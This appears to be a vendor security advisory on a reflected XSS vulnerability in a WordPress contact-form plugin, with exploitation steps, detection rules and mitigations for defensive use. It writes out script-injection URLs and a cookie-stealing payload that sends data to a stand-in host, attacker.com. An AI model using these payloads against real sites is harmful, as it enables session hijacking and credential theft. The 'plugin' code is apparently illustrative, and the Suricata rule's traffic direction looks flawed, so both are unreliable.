CVE-2025-48245

Executive Summary

CVE-2025-48245 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Quick Contact Form by Saad Iqbal, affecting versions up to and including 8.2.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, requiring only user interaction (e.g., clicking a crafted link). As of this report, no official patch is available, and no public exploit code or proof-of-concept has been released. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are at risk. Since no patch is available, the supply chain risk is elevated—users must rely on the vendor for a fix or implement mitigations. No known compromised packages or malicious forks have been identified.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: High (7.1). The vulnerability is easy to exploit and can lead to session hijacking, credential theft, or defacement.

Deep Dive & Mechanics

The vulnerability exists in the quick-contact-form plugin’s handling of HTTP GET/POST parameters. When a user submits a form or accesses a crafted URL, the plugin reflects the input without proper sanitization or encoding. For example, a parameter like name or email might be echoed back into the HTML response without escaping HTML entities.

Root Cause: The plugin uses echo $_GET['param'] or similar constructs without applying htmlspecialchars() or esc_html() functions. This allows an attacker to inject <script> tags or event handlers.

Attack Vector: An attacker crafts a malicious URL containing XSS payloads in query parameters. When a victim clicks the link, the payload executes in the context of the victim’s browser, potentially stealing cookies, redirecting to phishing sites, or performing actions on behalf of the user.

WordPress Context: Since this is a WordPress plugin, the vulnerability is specific to the plugin’s code, not the core WordPress or web server (Apache/Nginx). The plugin’s shortcode or widget likely processes user input without proper escaping.

Vulnerable vs. Patched Code

Vulnerable Code (example from plugin):

<?php
// quick-contact-form.php (vulnerable)
$name = $_GET['name'];
echo "<div>Thank you, $name</div>";
?>

Patched Code (hypothetical fix):

<?php
// quick-contact-form.php (patched)
$name = isset($_GET['name']) ? sanitize_text_field($_GET['name']) : '';
echo "<div>Thank you, " . esc_html($name) . "</div>";
?>

The patched version uses sanitize_text_field() to strip malicious input and esc_html() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code is available, a manual exploitation approach is described.

Prerequisites:

• A WordPress site with Quick Contact Form <= 8.2.1 installed and active.
• A victim user with a browser.

Steps:

1. Identify a vulnerable parameter (e.g., name, email, message) in the plugin’s form submission URL.
2. Craft a malicious URL:

   http://target-site.com/?page_id=123&name=<script>alert('XSS')</script>
   

3. Send the link to the victim via email, social engineering, or other means.
4. When the victim clicks the link, the script executes in their browser.

Advanced Payload:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for suspicious query parameters containing <script>, onerror=, javascript:.
• Use WAF rules to block reflected XSS patterns.

Hardening:

• Apply a Content Security Policy (CSP) header to restrict script execution.
• Use a Web Application Firewall (WAF) with XSS detection rules.
• Disable the plugin until a patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with query parameters containing <script>, %3Cscript%3E, or onerror=.
  • Referer headers from phishing or malicious sites.
• Host IOCs:
  • Unexpected JavaScript files in the web root.
  • Modified WordPress database entries (e.g., wp_options with injected scripts).
• File IOCs:
  • Suspicious entries in wp-content/plugins/quick-contact-form/ (e.g., backdoored files).

Detection Engineering

YARA Rule

rule CVE_2025_48245_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Quick Contact Form plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48245"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /javascript\s*:/i
        $param = /(name|email|message)\s*=\s*[^&]*<script/i
    condition:
        any of ($xss*) and $param
}

Sigma Rule

title: Reflected XSS Attempt Against Quick Contact Form
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in query parameters targeting Quick Contact Form
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/?page_id='
            - '/quick-contact-form'
        c-uri|re: '(name|email|message)=.*<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in form fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48245 Reflected XSS in Quick Contact Form"; flow:to_server,established; content:"GET"; http_method; content:"/?"; http_uri; pcre:"/(name|email|message)=[^&]*<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a WAF rule to block reflected XSS patterns (e.g., <script, onerror).
3. Add CSP header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self';
   

Long-Term Fix:

• The vendor must release a patched version that properly sanitizes and escapes all user inputs.
• Users should monitor the WordPress plugin repository for updates.

Workaround:

• If the plugin cannot be disabled, manually edit the plugin files to add esc_html() around all echoed user inputs (not recommended for non-developers).

Valters IT
Securing Digital Frontiers